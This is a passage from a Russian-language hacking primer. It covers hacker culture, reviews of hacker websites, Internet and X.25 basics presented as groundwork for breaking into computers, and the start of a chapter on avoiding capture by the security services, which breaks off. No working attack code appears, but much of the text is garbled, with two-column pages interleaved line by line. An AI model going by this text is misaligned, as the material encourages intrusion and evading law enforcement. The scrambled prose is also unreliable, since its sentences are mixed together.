грамму, которая вам интересна, и станьте хорошим бетатестером. Суще
ствует вполне естественный путь продвижения от помощи в тестирова
нии программ к помощи в их отладке и далее, к помощи в их Глава 5.
модификации. Вы многому научитесь таким способом и породите доб
рую карму в отношениях с людьми, которые помогут вам впоследствии. Связь между хакером и придурком
◆ Публикуйте полезную информацию. Вопреки расхожему мифу, вам не обязательно быть придурком,
Еще одна хорошая вещь — отбирать и накапливать полезную и ин чтобы быть хакером. Это, однако, помогает, и многие хакеры действи
тересную информацию на Webстраницах или документах типа ЧаВО тельно «придурки». Статус изгоя общества помогает вам оставаться со
(FAQ, или «часто задаваемые вопросы и ответы») и делать их общедо средоточенными на действительно важных вещах, таких как размышле
ступными. ния и хакерство.

Ведущие основных технических ЧаВО почти столь же уважаемы, Именно по этой причине многие хакеры носят ярлык «придурок»
как и авторы программ с открытым исходным кодом. и даже используют в качестве знака доблести более грубый термин «кре
тин» — это их способ декларации своей независимости от общепринятых
◆ Помогайте поддерживать работу инфраструктуры. в обществе оценок.
Хакерская культура (и инженерная разработка Internet, к слову Если вы способны в достаточной степени сосредоточиться на ха
сказать) основана на добровольцах. Имеется масса необходимой, но не керстве, достигать здесь заметных результатов и при этом иметь личную
особо эффектной работы, которую нужно делать, чтобы поддерживать жизнь — что ж, прекрасно. Сегодня это намного легче. Культурный
процесс: администрирование рассылочных листов, модерирование но мейнстрим стал теперь намного дружелюбнее к технопридуркам. Есть
востных групп, управление большими архивами программного обеспе даже растущее количество людей, обнаруживающих, что хакеры зачас
чения, разработка RFC и других технических стандартов. тую могут быть вполне качественными любовниками и супругами.
Люди, хорошо делающие такого рода вещи, глубоко уважаемы, Если же вас влечет к хакерству по той причине, что у вас нет лич
поскольку каждый знает, что подобная работа требует кучу времени и не ной жизни, что ж, и это неплохо. По крайней мере, у вас не будет про
так забавна, как игры с кодами. Эта работа свидетельствует о самоотвер блем с сублимацией. А личная жизнь — как знать, может, она придет
женности. позже.
◆ Служите самой хакерской культуре.
Наконец, вы можете служить и распространять саму культуру (на Глава 6.
пример, составляя скрупулезное руководство «как стать хакером»). Но Черты образа жизни
этим не стоит заниматься до тех пор, пока вы не поваритесь в этом доста
точное время и не станете хорошо известны благодаря одной из четырех Итак, чтобы быть хакером, вы должны обрести мировоззрение ха
первых вещей. кера. Есть несколько вещей, которые могут помочь в те моменты, когда
В хакерской культуре нет явных лидеров, но здесь есть «культур вы не находитесь рядом с компьютером. Они не заменяют хакерство (его
ные герои», «племенные старейшины», историки и ораторы. Когда вы ничто не заменит), но многие хакеры ими занимаются и, по их ощуще
достаточно долго поживете в этих траншеях, то сможете вырасти в одно ниям, это на какомто фундаментальном уровне объединяет их с сутью
го из таких людей. хакерства.
Основы 21 22 Основы

Читайте научную фантастику. Ходите на встречи любителей фан Сам термин «хакер» имеет американские корни. Его развитие про
тастики (это хороший способ познакомиться с хакерами и «протохаке слеживается с конца 60х годов до нашего времени и происходит, в опре
рами»). деленном смысле, от движения хиппи. Но, между тем, такую субкульту
ру нельзя определить ни как общину, ни как политическое либо
Изучайте Дзэнбуддизм и/или восточные искусства боя. (Их мен
религиозное движение.
тальная дисциплина имеет, похоже, важные черты сходства).
Экстернальная культура хакеров аккумулирует в себе определен
Вырабатывайте в себе аналитический музыкальный слух. Учитесь
ные нормы и символику.
понимать специфические виды музыки. Учитесь неплохо играть на ка
комнибудь музыкальном инструменте или грамотно петь.
Внешний вид и составляющие...
Вырабатывайте в себе понимание каламбуров и игр в слова. В плане облика и манеры поведения наши герои не привлекают
Учитесь хорошо писать на своем родном языке. (Удивительно, к себе внимания. Длинноволосые интеллигентноинтенсивные, отвле
многие из хакеров являются качественными писателями.) ченные и не всегда аккуратные молодые люди, читающие «Analog»,
«Scientific American» и «Smithsonian», они не читают журнал «Хакер» — та
Чем больше из этих вещей вы уже делаете, тем больше вероятность кое детство совсем не для них. Диапазон потребляемой литературы часто
того, что вы представляете собой природный хакерский материал. Поче удивляет постороннего наблюдателя, так как многие хакеры посвящают
му перечислены именно эти вещи — не вполне ясно, но они связаны со чтению столько же времени, сколько средний американец посвящает
смешиванием навыков левого и правого полушарий мозга, а это пред своему телевизору. Часто их дома забиты зачитанной до дыр литературой
ставляется важным (для хакеров необходимо уметь как выстраивать по самым разнообразным направлениям, среди которых, помимо техни
стройные логические обоснования, так и время от времени оценивать ческих, присутствует научная фантастика и шахматная тематика.
проблему вне связи с очевидной логикой).
В еде часто предпочитают чтонибудь восточное — китайское, на
И, наконец, несколько вещей, которые делать не следует. пример. Тайская пища пользуется потрясающей популярностью, как и
◆ Не используйте глупые и напыщенные пользовательские еврейские деликатесы. Существенное меньшинство средне и югоза
имена или клички. падных хакеров предпочитают мексиканскую кухню. Для ночной работы
годятся как огромная пицца, так и не меньших размеров термос с кофе.
◆ Не вовлекайтесь в свары и перебранки в Usenet (или
гделибо еще). Политические взгляды не поражают разнообразием — хакеры не
сколько слева от центра, за исключением мощного контингента вольно
◆ Не называйте себя «киберпанком» и не тратьте свое время думцев, полностью отвергающих обыкновенное разделение на левых и
на тех, кто это делает. правых. Конечно, среди хакеров преобладают молодые люди, но пропор
◆ Не отправляйте письма или электронную почту, ция представительниц прекрасного пола выше, чем в других технических
переполненные ошибками правописания. профессиях. Хакеры как социальная группа настолько же различаются
цветом кожи и национальностью, как и иные группы, поэтому все расо
Единственная репутация, которую вы себе создадите, занимаясь вые предрассудки встречаются крайней враждебностью.
этими вещами, — это посмешище. У хакеров длинная память, и вам мо
гут понадобиться годы жизни, чтобы об этом забыли. Вероисповедание достигает гигантского разброса — от атеиста до
неретивого иудея и неоязычника. Очень часто несколько религий нахо
дят своего почитателя в лице одного человека.
Глава 7. Кроме того, на многих хакеров оказывает влияние буддизм или,
Субкультура хакеров реже, таоизм и их смесь с «родной» религией.
В общении наши герои предпочитают электронную почту, по
Недавно сформировавшаяся субкультура хакеров является до
скольку свобода, разнообразие и вдохновение приходит к ним перед мо
вольно своеобразным социальным образованием.
нитором.
Основы 23 24 Основы

Вопреки стереотипу, хакеры не ограничиваются узкими интеллек ществует основная масса представителей субкультуры, сгруппированная
туальными рамками и пытаются интересоваться всем, что способствует вокруг элиты, а также иные случайные представители, которые в прин
умственной стимуляции, зачастую подолгу беседуя на разные отвлечен ципе не считаются настоящими хакерами, оставаясь в статусе «ламеров».
ные темы. В принципе, можно заставить хакера говорить о чем угодно,
Можно говорить о нескольких «поколениях» хакеров, которые
если, конечно, удастся оторвать его от компьютера. Однако у них не все
способствовали технологическому прогрессу в силу своей деятельности.
гда развита способность к социальным контактам, присутствуют боль
шие недостатки в умении общаться, они подвержены психологическому На начальном этапе такая деятельность заключалась в преобразо
давлению, в подавляющей массе неорганизованны и неряшливы в обще вании огромных по размерам компьютеров первых поколений с исполь
нии с внешним миром. зованием так называемой технологии доступа «разделения времени»,
которая заключалась в создании некоторого подобия виртуальных пер
История возникновения... сональных компьютеров. Как следствие этого, вкладом второго поколе
Первыми в ряду представителей субкультуры хакеров были моло ния хакеров явилось изобретение в конце 70х годов персональных ком
дые люди в возрасте от 16 до 22 лет, так называемые тинэйджеры, само пьютеров. Именно в те годы можно было наблюдать большое количество
выражение которых происходило посредством использования компью ярких индивидуальностей в среде хакеров. Выразительным примером
терных технологий. Такое увлечение, как правило, создает особое может служить хиппибитломан Стив Джобс, который вместе со своими
психологическое восприятие, которое определяет дальнейший стиль друзьями Ли Фельсенштайном и Стивом Возняком собирал и недорого
жизни, сохраняясь довольно продолжительное время. продавал приспособления, с помощью которых любой американец мог
долгое время совершенно бесплатно эксплуатировать телефонную сеть
Многие внешние проявления служат как бы опознавательными США. Наиболее интересно, что впоследствии именно Ли изобрел пер
знаками «своих»: обилие спецификотехнических терминов в разговоре, вый мобильный персональный компьютер «ОсборнI».
свободная манера поведения, простой, неопределенный стиль одежды,
небрежная прическа в дополнение к невыразительной внешности, рюк В дальнейшем многие представители третьего поколения устре
заки за спиной — символика их внешности. Графические знаки в виде мились в малый бизнес, принеся с собой, помимо прочего, новую фило
какихлибо вышитых на одежде фраз или знаков, подобно хиппи, встре софию общения, построенную на многих традициях движения хиппи.
чаются очень редко. Однако успех в такого рода начинаниях не сопровождался изменением
их ценностей. Именно третье поколение хакеров в начале 80х создало
Однако «хакер» – это далеко не только дань возрасту. Наряду большое количество прикладных программ для персональных компью
с этим, хакер — это специалист, который стремится прежде всего к об теров, которые способствовали успеху платформы IBM. Созданные ими
щению с другими пользователями информационного сообщества, к вы организации, такие как «Фонд электронных рубежей» (Electronic Frontier
ражению своих мыслей, идей в свободной, творческой атмосфере. Foundation), основателем которого является небезызвестный Мич Кей
Такие хакеры создавали программное обеспечение типа shareware пор — создатель популярной программы «Lotus 123», и в настоящее
или freeware, криптографические системы наподобие известнейшей PGP время серьезно влияют на политику Вашингтона в области соблюдения
(Pretty Good Privacy) — детища пацифиста из Боулдера Филиппа Цим гражданских прав в киберпространстве.
мермана, или нашумевшей программы «SATAN» (позволяющей выяв Четвертое поколение хакеров создало то, что принято теперь
лять дыры в защите компьютерных систем) — творения неуживчивого называть мировым сообществом, киберпространством или Internet —
анархиста Дэна Фармера, и другие изобретения, которые позволяют средой обитания и общения для более чем 50 миллионов человек. Но, на
иным пользователям реально обладать независимостью в киберпро ряду с Internet, мы видим и еще одно гениальное изобретение, интегри
странстве, творя искусство и красоту. Фактически они используют свои рованное в эту среду, — систему сенсорного погружения или т.н. вирту
знания и способности на благо всех пользователей Internet — глобально альную реальность, начальные основополагающие принципы и
го информационного сообщества. концепция которой были разработаны еще одной яркой личностью пер
Множество людей, предоставленных сами себе, формируют схо вого поколения хакеров — Джейроном Ланье.
жие коммуникативные структуры. В субкультуре хакеров складывалась На более ранних стадиях труд представителей четвертого поколе
трехслойная иерархия, где довольно относительно выражена элита, су ния хакеров можно было видеть в создании систем электронной почты
Основы 25 26 Основы

на основе BBS (Bulletin Board System — электронная доска объявлений), есть закон» начинающий взломщик может ознакомиться с текстами ос
а также сети USENET, созданной в начале 80х (от User's Network — cеть новных законов РФ о правовой охране компьютерных программ, чтобы
пользователей) двумя студентамивыпускниками университета Дьюк всегда отдавать себе отчет в том, на какой срок могут потянуть те или
Джимом Эллисоном и Томом Траскоттом. Именно в основе этой сети иные действия. Самый интересный раздел — это статьи: здесь можно уз
впоследствии очень точно был сформулирован вечный принцип всех по нать о знаменитой истории со взломом СитиБанка, о слабостях опера
колений хакеров: участвовать может любой. Да и сама USENET может ционной системы Windows NT, о том, насколько хорошо защищена от
считаться эталоном в плане своей структуры — полная децентрализация, вторжения внутренняя сеть компании PepsiCola... Всем статьям, пред
отсутствие иерархии, самоорганизация и резкое отрицание любого ком ставленным в разделе, можно тут же выставить оценки.
мерческого использования. Именно эти принципы были интегрированы
На сервере также публикуется еженедельное обозрение хакерских
культурой хиппи в движение хакеров. И именно четвертое поколение ха
и антихакерских сайтов под редакцией Дмитрия Леонова и постоянно
керов активно противостоит коммерсализации и узурпации какимили
обновляются новости. Страничка «Подполье» содержит коллекцию рас
бо государственными органами региональных и опорных высокоско
сказов о нашумевших хакерских атаках. Есть и форум, где можно пооб
ростных коммуникационных магистралей Internet, руководствуясь
щаться в реальном времени с другими посетителями сайта.
правом всеобщей доступности и бесплатности информации.
На санктпетербургском сервере xpress.ru живет забавное «обозре
ние пиратских технологий», которое называется «Вечерний D2MAC».
Глава 8. D2MAC — это один из телевизионных стандартов вещания, которым
Преступники или романтики? пользуются «все маломальски приличные» спутниковые каналы ТВ.
Обозрение посвящено тому, как собственными силами настроить тюнер
Россия всегда славилась талантами. Не обошло это и компьютер на спутниковый канал, подправить положение тарелкиантенны... Если
ную сферу. Как вы знаете, компьютеры только недавно вошли в нашу у вас дома установлена спутниковая антенна, с ней возникли какиелибо
жизнь, намного позже, чем во всем мире. Но это не стало преградой для проблемы, а установщика вызывать не хочется — отправляйтесь в
российского человека. Появилось огромное число программистов, спо Internet, и возможно, советы от Александра Борзова помогут вам спра
собных померяться силами с западными ассами. Многие из них уехали за виться самому. Как пишет автор, если уж вы сумели добраться до его
рубеж и сейчас успешно работают в самых крупных софтверных компа страницы в Internetе, то спутниковую антенну сможете настроить и по
ниях. Волна непобедимых Российских компьютерных вирусов перепо давно! Итак, «Вечерний D2MAC» предлагает новости из мира техноло
лошила все мировое сообщество. Опять же Российские программисты гий спутникового вещания, описание аппаратуры, полезные советы
научились лучше всех бороться с этими вирусами. И вот в Россию при и рассказы о том, как взламывают спутниковые каналы.
шел «Internet». Многие западные аналитики с испугом ожидали этого Операционная система Windows NT используется сейчас повсе
факта. И не ошиблись. Российские таланты погрузились в безграничную местно, и тем, кто с ней работает, полезно было бы знать, как защитить
паутину Internet. эту систему от попыток взлома. Сайт NT Security, как явствует из назва
Появились российские «Хакеры». Не пугайтесь этого слова, ния, полностью посвящен проблемам безопасности операционной сис
в большинстве своем оно не носит криминального характера — основ темы Windows NT и предлагает всевозможные рецепты защиты — начи
ной лозунг хакерского движения — «Информация должна быть бесплат ная со способов настройки и заканчивая маленькими программками,
ной и общедоступной», конечно, не все соглашаются с этим принципом, латающими бреши в системе безопасности. Здесь, как и на множестве ха
и именно их информационные Webресурсы чаще всего подвергаются керских сайтов, рассказывается о том, с каких сторон чаще всего подвер
атаке хакеров. гаются атаке компьютеры с Windows NT и какими инструментами поль
зуются для того, чтобы вывести такие компьютеры из строя либо
«Территория взлома», или HackZone — очень цивилизованный разведать нужную информацию, однако на сайте NT Security упор дела
русский хакерский сайт. На этих страницах вас приветствуют люди, спо ют не на технологию атаки, а на технологию защиты от нее. Сайт обнов
собные изъясняться на вполне литературном языке, здесь проводится ляется по мере обнаружения новых брешей в защите Windows NT и по
конкурс статей о хакерах, публикуется в русском переводе знаменитое мере появления новых способов вывести из строя эту систему — то есть
произведение Брюса Стерлинга «Охота на хакеров». В разделе «Закон не реже, чем раз в месяц.
Основы 27 28 Основы

Страница «Хакерство с самого начала» так озаглавлена не зря: на Одно из самых забавных мест на сервере — галерея взломанных
ней есть отличное руководство для начинающих хакеров, и каждый, ко вебсайтов, где можно увидеть, как сайт выглядел до взлома и как после.
му взбрело в голову стать взломщикомпрофессионалом, может сразу Галерея эта воистину бесценна, поскольку крупные коммерческие и
оценить, каковы его силы и возможности и хочет ли он в действительно официальные сайты обычно восстанавливают очень быстро — а ведь так
сти этим заниматься. Руководство весьма детальное, а список рекомен интересно посмотреть, до чего доходит хакерская фантазия при подмене
дуемой литературы настолько длинен, что десять раз задумаешься, преж главной страницы сервера!
де чем купить и прочесть все эти книги — тем более, что большинство
L0pht (читается как «лофт») Heavy Industries — всемирно известное
упомянутых учебников и справочников в России стоит весьма недешево.
объединение хакеров, которое существует приблизительно так же давно,
Раздел «Happy Hackers Guide» — «Руководство счастливого хаке как и журнал 2600. На сайте этого объединения сейчас распространяется
ра» — описывает вполне легальные и безвредные хакерские техники. Лю последнее мощное орудие взлома — L0pht Crack версии 2.0, программа,
бому пользователю Internet будет интересно и полезно узнать, как спра которая выуживает пароли из системы Windows NT.
виться с надоевшей рекламной почтой или защитить свой компьютер от
В архивах сайта вы найдете массу руководств к действию, ма
самых распространенных атак извне.
нифестов и справочных материалов, включая архивы статей из таких из
Заявление создателей этого сайта гласит, что он предназначен для даний, как Mondo 2000. В разделе «Лаборатория» вас ждут описания
того, чтобы облегчить продвинутым пользователям доступ к новостям и проектов, над которыми в данный момент работают хакеры — при жела
полезной информации о безопасности компьютерных систем. В прин нии можно внести свой посильный вклад в разработку очередной про
ципе, то же самое пишут почти на всех хакерских серверах, но у этого граммы или поучаствовать в просветительской акции. Есть и страничка,
сайта есть своя специфика: в основном здесь рассказывают о взломе где можно заказать различные товары — например, компактдиски с ха
Internetсерверов, в особенности о таких случаях взлома, в результате ко керскими программами. И, конечно, не обошлось без живого общения,
торых подменяют заглавную страницу сервера. Авторы объясняют свой хотя на этом сайте оно имеет несколько странную форму: одна из стра
интерес тем, что о взломе интернетовских серверов в прессе и на телеви ниц содержит видеоглазок, который позволяет наблюдать за хакерами
дении обычно рассказывают всякие небылицы. из группы L0pht в реальном времени. Иногда их можно застать за рабо
чим столом и увидеть, как они ковыряются в какихто хитрых микро
Сервер hacked.net всегда готов предоставить журналистам досто
схемах.
верную информацию о том или ином взломе, чтобы избежать ошибок и
домыслов. На сервере масса интереснейших ресурсов: например, здесь Сайт Nomad Mobile Research Centre — «Передвижной исследова
можно узнать, сколько серверов Всемирной Паутины было взломано за тельский центр «Номад» — предлагает уже знакомый нам по предыду
весь прошедший год. Публикуется ежемесячный журнал хакерского со щим серверам набор: снова безопасность Windows NT, руководства по
общества. взлому и защите от него, полезные программы, различная документация.
На этом сервере также содержится страница проекта «Пандора», связан
Самый знаменитый хакерский альманах — это, конечно, «2600».
ного с взломом сетевых систем компании Novell. В разделе «Compute»
Выходит он ежеквартально, то есть всего четыре раза в год, но сайт суще
можно найти ссылки на сходные по теме сайты.
ствует настолько давно, что в ожидании свежего номера всегда можно
убить время за чтением не менее интересных архивов. Сам альманах пуб Ну какой же хакер без жаргона? Чтобы стать «своим» среди про
ликуется уже более 10 лет, а именно — с 1984 года (возраст для журнала, фессионаловкомпьютерщиков, нужно для начала понимать хотя бы де
тем более компьютерного, более чем почтенный). На сайте можно уви сятую часть тех словечек, которыми они пересыпают свою речь. Есте
деть все обложки бумажной версии альманаха с 1987 года по 1995й. ственно, попытки составить словарь компьютерного и хакерского
Ссылка с обложки номера ведет к избранным материалам из него. жаргона предпринимались в Internet не раз, и на этом сервере вы найде
те одну из многочисленных версий такого словаря — вместе с историей
Как известно, каждый месяц читатели альманаха, то есть хакеры,
создания этого ресурса. Надо отметить, что именно здесь располагается
встречаются в заранее назначенном месте — практически в каждом круп
основная, официальная страница «Нового хакерского словаря». Если вам
ном городе мира есть такое место встречи хакеров. На отдельной страни
есть что к нему добавить, без колебаний шлите создателям сайта новые
це приводится список всех таких мест — включая одно достаточно из
слова, и, возможно, они через какоето время включат их в словарь.
вестное кафе в Москве.
Основы 29 30 Основы

Глава 9. способности, сделав себе, как специалисту, очень неплохую рекламу. Его
поступок можно сравнить с полетом Руста над Красной площадью.
Хакер — это почти факир Отметим здесь же, что компьютерное пиратство имеет хорошо за
«Ремесло» склонного к наживе компьютерного пирата имеет мно метную тенденцию к объединению. Уже существует специальный меж
жество нюансов, однако можно выделить две основные линии поведения дународный жаргон хакеров, который подразумевает прибавление на
хакера, которые определяют его лицо. конце слов буквы «z» вместо «s». Существуют и специальные сайты в
пространстве Internet, где ведется открытый обмен похищенными про
◆ Процедура электронного взлома с введением в систему граммами.
специальной подпрограммы, написанной, как правило, на
языке ассемблера, или способ «троянского коня». Рассматривая в Internet материалы о хакерах, можно найти нема
В техническом отношении такой метод довольно сложен ло удивительного. Здесь могут, например, сочинить какуюнибудь мер
и доступен немногим. зость и подписать это «чтиво» именем известного и вполне благо
пристойного писателя, и даже указать его виртуальный адрес с
◆ Выведывание паролей и кодов у лиц, работающих предложением высказаться о написанном. Здесь могут запросто подбро
в информационных центрах. Например, у бухгалтерских сить копию системного файла, зараженного вирусом. Здесь могут... Да
работников или у служащих банка. мало ли что здесь могут еще!
Оба способа направлены, как легко догадаться, на получение не
законной материальной прибыли. Они стали возможны благодаря широ
кому внедрению в мировом сообществе разного рода систем электрон
ных платежей (когда клиенты снимают деньги при помощи кредитных
карточек через специальные автоматы или переводят крупные суммы с
одного счета на другой, не выходя из своего офиса, с удаленного терми
нала).
С увеличением числа подобных систем, значимость защиты
информации повысилась во много раз. Финансовые учреждения всего
Земного шара обеспокоены безопасностью своих компьютерных сетей,
на усовершенствование которых тратятся миллионы долларов; считает
ся, система защиты должна обновляться, иначе хакеры подберут к ней
ключи!
Сегодня мы наблюдаем удивительное явление, когда и в крими
нальных кругах Запада, и в службах технической безопасности банков
резко повысился интерес к классным программистам и специали
стамэлектронщикам. Их борьба напоминает своеобразное «состязание
интеллектов», где победителем (с переменным успехом) бывает то защи
щающаяся, то нападающая сторона.
Но целью преступлений электронных взломщиков далеко не все
гда является обогащение; намерения могут быть разные. В частности,
очень остро проявляется стремление сделать себе имя. И поэтому, веро
ятно, в числе хакеров немало студентов и даже школьников.
Юный голландский хакер, взломавший компьютеры армии США,
не заработал ни цента, но он весьма «громко» продемонстрировал свои
Internet и Intranet 31 32 Internet и Intranet

Internet и Intranet всего информация включает имя машины, IPадрес и данные для марш
рутизации почты. Для удобства, большинство компьютеров имеют
имена. Доменная система имен выполняет несколько задач, но ос
новная ее работа — преобразование имен компьютеров в IPадреса и на
оборот.

Глава 1. Пространство имен DNS имеет вид дерева доменов, с полномочи


ями, возрастающими по мере приближения к корню дерева. Корень де
Общие принципы построения, адресация рева имеет имя, под ним находятся домены верхнего уровня (корневые
домены). По историческим причинам существует два вида доменов верх
Internet — крупнейшая компьютерная сеть в мире, объединяющая него уровня. В США домены верхнего уровня отражают организацион
множество компьютеров, соединенных самыми разнообразными спосо ную структуру, и, как правило, имеют трехбуквенные имена:
бами: от телефонных линий до систем спутниковой связи. В Internet ис
пользуется комплект протоколов TCP/IP, который включает в себя: ◆ .gov — государственные учреждения;

◆ IP (Internet Protocol) — межсетевой протокол, который ◆ .mil — военные учреждения;


обеспечивает транспортировку без дополнительной ◆ .com — коммерческие организации;
обработки данных с одной машины на другую;
◆ .net — поставщики сетевых услуг;
◆ UDP (User Datagram Protocol) — протокол
пользовательских датаграмм, обеспечивающий ◆ .org — бесприбыльные организации;
транспортировку отдельных сообщений с помощью IP ◆ .edu — учебные заведения.
без проверки ошибок;
Для доменов вне США, в соответствии с территориальным распо
◆ TCP (Transmissing Control Protocol) — протокол ложением, используются двухбуквенные коды стран ISO. Например:
управления передачей, обеспечивающий транспортировку
с помощью IP с проверкой установления соединения. ◆ www.spm.ru — в России;

Каждый компьютер, подключаемый к Internet, получает свой ◆ www.berlin.de — в Германии;


уникальный IPадрес. ◆ www.hotex.nl — в Нидерландах.
Internetадрес имеет в длину четыре байта и состоит из двух частей:
сетевой и машинной. Первая часть означает логическую сеть, к которой
относится адрес; на основании этой информации принимаются решения
Глава 3.
о маршрутизации (routing). Вторая часть идентифицирует конкретную Работа в Internet
машину в сети. По соглашению, IPадреса записываются как десятичные
числа (по одному на каждый байт), разделенные точками, например Вы можете работать в Internet с помощью специальных программ.
194.85.31.20. Вот некоторые из них:
◆ ping — позволяет определить время прохождения пакета до
Глава 2. хоста.

Доменная система имен (DNS) ◆ traceroute — показывает путь прохождения пакетов по сети
(в Windows 95 и Windows NT — tracert.exe).
DNS (Domain Name System) — это распределенная база данных, ◆ nslookup — позволяет просматривать содержимое
которая содержит информацию о компьютерах, включенных в сеть DNSсерверов.
Internet. Характер данных зависит от конкретной машины, но чаще
Internet и Intranet 33 34 Internet и Intranet

◆ telnet — устанавливает соединение с удаленной машиной ◆ Если вам удалось убедить начальство — вы выиграли,
(23 порт) и позволяет вам работать в режиме удаленного и у вас будет свой, бесплатный Internet.
терминала.
◆ Если вы всерьез хотите всем этим заниматься, это один из
◆ ftp — позволяет передавать файлы между машинами по самых простых путей начать. Через некоторое время
протоколу FTP (File Transfer Protocol) (21 порт). желание чтото ломать пропадет.
◆ finger — показывает информацию о пользователях, ◆ Если вы работаете в солидной фирме, не имеющей выхода
находящихся в данный момент на какойлибо машине. в Internet, то вышеприведенные рекомендации применимы
и в этом случае.
Для работы с WWW (World Wide Web) используются программы
Netscape Navigator, Internet Explorer и некоторые другие. Эти программы На этом стоит временно прервать перечисление и заметить: если
устанавливают соединение с сервером (80 порт) и работают по протоко у вас есть возможность воспользоваться вышеперечисленными способа
лу HTTP. ми, не читайте дальше эту главу, а попытайтесь просто воплотить их
в жизнь, и у вас не возникнет множества проблем.
Важно: для работы с ftp, telnet, finger и www необходимо, чтобы на
машине, с которой вы устанавливаете соединение, были запущены соот Для всех остальных — продолжим:
ветствующие программысервера.
◆ Платный доступ к Internet предоставляют находящиеся
в вашем городе фирмы (так называемые провайдеры).
Глава 4. Можно заметить, что большинству людей оплата их услуг
пока не по карману, особенно если доступ нужен без
Как получить доступ в Internet определенной цели, т.е. вы не зарабатываете денег,
используя Internet.
Это, вероятно, один из самых насущных вопросов для любого
начинающего пользователя. ◆ Кроме того, услугами по предоставлению доступа
в Internet могут заниматься фирмы, находящиеся за
Как показывает практика, для того, чтобы начать ломать пределами вашего города или страны, используя в качестве
компьютеры в Internet, необходимо уже иметь туда выход, пусть даже транспорта X.25 сети (например SPRINT).
временный или минимальный. Не все так сложно, как вы думаете.
В наше время получить доступ в Internet не составляет никаких проблем.
Вот некоторые из них: Глава 5.
◆ Самый легкий — если ваш институт (если вы работаете на Сети пакетной коммутации
кафедре, то все многократно упрощается) уже подключен
к Internet, то попытайтесь договориться о предоставлении
вам (или вашей кафедре) выхода туда. Общие принципы построения
Основу X.25 сетей составляют Центры Коммутации Пакетов
◆ Если в вашем институте нет Internet, то это даже лучше — (ЦКП), расположенные во многих городах и обеспечивающие доступ к
вы можете стать основателем, остается только пойти к сети. Обычно абонент получает доступ к сети, соединяясь с ближайшим
руководству и убедить их в необходимости подключения. ЦКП, т.е. можно получить доступ к сети из любого места, где есть теле
(КАК?! У нашего любимого института нет выхода фонная связь, без привязки к конкретному ЦКП.
в Internet?! Нет собственного WWWсервера?! Нет даже
электронной почты?! Да нас не будут уважать! Каждый Абоненты сети подключаются к ней для того, чтобы передавать
уважающий себя ВУЗ должен иметь выход в Internet!) информацию или принимать ее от других абонентов или хостмашин.
Для этого в сети устанавливается временная логическая связь между эти
ми абонентами, называемая виртуальным соединением. После установ
Internet и Intranet 35 36 Internet и Intranet

ления виртуального соединения между абонентами может происходить и пароль. Это связано, в первую очередь, с реверсивной оплатой сетевых
обмен данными одновременно в двух направлениях (дуплекс), причем услуг — владельцы подключенной к сети системы платят провайдеру за
задержка передачи пакетов данных не превышает долей или нескольких время соединения пользователей с ней, а затем могут брать с пользовате
секунд в зависимости от загруженности сети. лей плату за предоставляемые услуги.

Терминология Работа с ПАД


NUA Работа пользователя с ПАД происходит в двух режимах: в команд
ном и передачи данных. В начале своей работы с ПАД, пользователь на
(Network Users Address/Сетевой Адрес Пользователя)
ходится в командном режиме. При установлении соединения, пользова
Число, задающее сетевой адрес пользователя. тель переходит в режим передачи данных. В режиме передачи данных
происходит обмен информацией с удаленным ресурсом. При необходи
NUI мости непосредственного взаимодействия с ПО ПАД пользователь мо
(Network User Identificator/Идентификатор Сетевого Пользова жет перейти в командный режим, введя символ внимания — как прави
теля) ло, CTRLP. В командном режиме пользователь может использовать
Код доступа и пароль. Обычно предоставляется поставщиком се следующие команды:
тевых ресурсов и используется для определения оплаты за услуги. ◆ CON — установление соединения через сеть Х.25;
DNIC ◆ LOC — установление локального соединения;
(Data Network Identification Code/Код идентификации сети) ◆ CLR — разрыв соединения;
Представляет из себя 4 цифры, которые в полном сетевом адресе ◆ PAR? — просмотр текущих значений параметров Х.3;
задают код сети данных.
◆ SET — установление новых значений параметров Х.3;
PAD
◆ SET? — установление новых значений параметров Х.3 и их
(Packet Assemble Disassembler/Сборщик/разборщик пакетов) просмотр;
Устройство, позволяющее с помощью обычного терминала рабо ◆ PROF — установление новых значений совокупности
тать с сетями коммутации пакетов, т.к. терминалы передают не блоки параметров X.3;
данных, а символы.
◆ INT — посылка срочных данных;
Работа с X.25 ◆ RESET — сброс соединения;
Для работы с X.25 требуется терминальная программа (например
◆ STATUS — текущий статус соединения.
Telemate или Telix). Позвонив модемом на ближайший узел сети пакет
ной коммутации, вы подключаетесь к ПАД, который получает символы В ответ на команды пользователя ПАД выдает диагностические
для передачи по сети и формирует из них пакеты, а также выполняет и сообщения:
обратную операцию разборки пакетов и передачи символов на терми
◆ OM — соединение установлено;
нал.
◆ ERR — синтаксическая ошибка в команде;
Сети пакетной коммутации являются транспортом, позволяющим
вам работать со многими системами, которые к нему подключены. Для ◆ RESET — возможная потеря данных на пакетном уровне;
этого необходимо знать адрес системы, с которой вы предполагаете рабо
◆ FREE — ответ на команду ПАД STATUS при отсутствии
тать. Кроме того, большинство систем снабжено средствами идентифи
кации пользователей, т.е. требуют для работы с ними имя_пользователя соединения;
Internet и Intranet 37 38 Хакинг

◆ ENGAGED — ответ на команду ПАД STATUS при


установленном соединении; Хакинг
◆ CLR CONF — разъединение выполнено;
◆ CLR — индикация разъединения по одной из следующих
причин:

Глава 1.
0 DTE — удаленный DTE разорвал соединение;
◆ 1 OCC — номер занят;
Искусство взлома
◆ 3 INV — неправильный запрос средств; Хакинг — это искусство взлома всевозможных систем и доведения
данного процесса до высот технического изящества. Хакер вооружается
◆ 5 NC — сеть переполнена; различными методиками, исходя из которых он строит собственную
◆ 9 DER — канал неисправен; стратегию взлома той или иной программы. Зачем же быть хакером? Вы
наверняка найдете для себя несколько причин. Для некоторых, напри
◆ 11 NS — доступ запрещен; мер, это в первую очередь просто прекрасное развлечение. Но сейчас за
◆ 13 NP — нет доступа; ниматься хакингом становится все более опасно, поэтому будьте осто
рожны, даже если у вас нет противозаконных намерений. Это очень
◆ 17 RPE — удаленная процедурная ошибка; трудоемкое и к тому же рискованное дело. Так что будьте внимательны
◆ 19 ERR — местная процедурная ошибка; и не попадитесь!

◆ 21 PAD — разъединил местный ПАД;


Глава 2.
◆ 25 NRC — нет реверсивной оплаты;
Как не пойматься
◆ 33 INC — несовместимый адрес назначения;
◆ 41 NFC — нет быстрой выборки; Жизнь прекрасна, только когда вы не попадаетесь в руки спец
служб. Конечно же, это зависит от того, чем именно вы занимаетесь. Но
◆ 128 DTE — канал зарезервирован; может получиться так, что вы все равно попадетесь, несмотря на беспре
◆ 129 DTE — удаленный DTE не готов; кословное выполнение всех наших рекомендаций.

◆ 130 DTE — канал является исходящим; Некоторые операторы спецслужб до отупения настойчивы и не
